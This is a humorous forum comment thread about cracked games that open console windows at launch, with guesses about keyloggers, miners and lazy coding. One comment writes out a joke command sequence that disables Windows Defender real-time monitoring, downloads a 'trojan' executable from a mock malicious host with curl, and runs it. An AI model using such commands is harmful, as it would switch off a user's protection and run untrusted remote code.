It's just setting up a keylogger so it can help you when you suck at your new pirated game :)

Wait... What's the truth.....
Set-MpPreference -DisableRealtimeMonitoring $true
curl https://malwarefo.ru/supertrojan.exe
./supertrojan.exe
./game.exe
exit
0But I don't want a super Trojan : -(
Is there a way to remove it or stop it from happening?
The only winning move is not to play.Yes
Real answer is just that they're executing a process without setting the window style to hidden. It doesn't mean anything other than the dev is lazy / inexperienced.
Probably mining for bitcoin
Free game providers can have a little bitcoin, as a treat

Here's one. I'd like the aforementioned treat, please!
You may use my GPU anytime 😊
Do you really want to know the truth or do you want to play your new game \o/
I always thought it was running anti-"anti-piracy" measures before launching the game. I suppose it could be malware too, which seems like what the meme is getting at.
Ah yes, Windows...
Not only for viruses, I saw legitimate software creating those console windows to run.
Good spyware doesnt show those either, they're not a sign of malware but of sloppy coding.
Not always. Having spent significant time of the entire projects to hide console and powershell windows, I think Windows is just crap.
Yes, there was a good cli-tool for this, until it didn't work anymore.
A tool for this...
Running a program by another program without interrupting user should be a basic feature of an OS!
I'm pretty sure some drivers do that
My work PC does it on boot. Opens and then closes like 8 command windows.
Well that probably is malware but installed by your company
Just look into journal and logs what processes were started by a terminal window...
Oh... Right.
or our corporate overlord who knows, windows itself is spyware
Startup scripts most likely. A sign of a bunch of legacy tech in your environment.
Even if I am pretty sure I'm not getting a virus, I'm always nervous when that happens regardless of the program on my desktop.
The crack uses dll-injection, needs to be applied each game launch.
Dingers!
I once found a fully cracked version of Window XP on Pirate Bay....
hard power down like Barry Allen; rips phone cable out of wall (and rj45 in half); runs to router and rips entire power strip out of wall; safe mode with no idea if this helps; blindly searches for very new or old .bat files; tries to figure out how to search entire registry by recent; sob; play eu1 or whatever it was 30 yrs ago
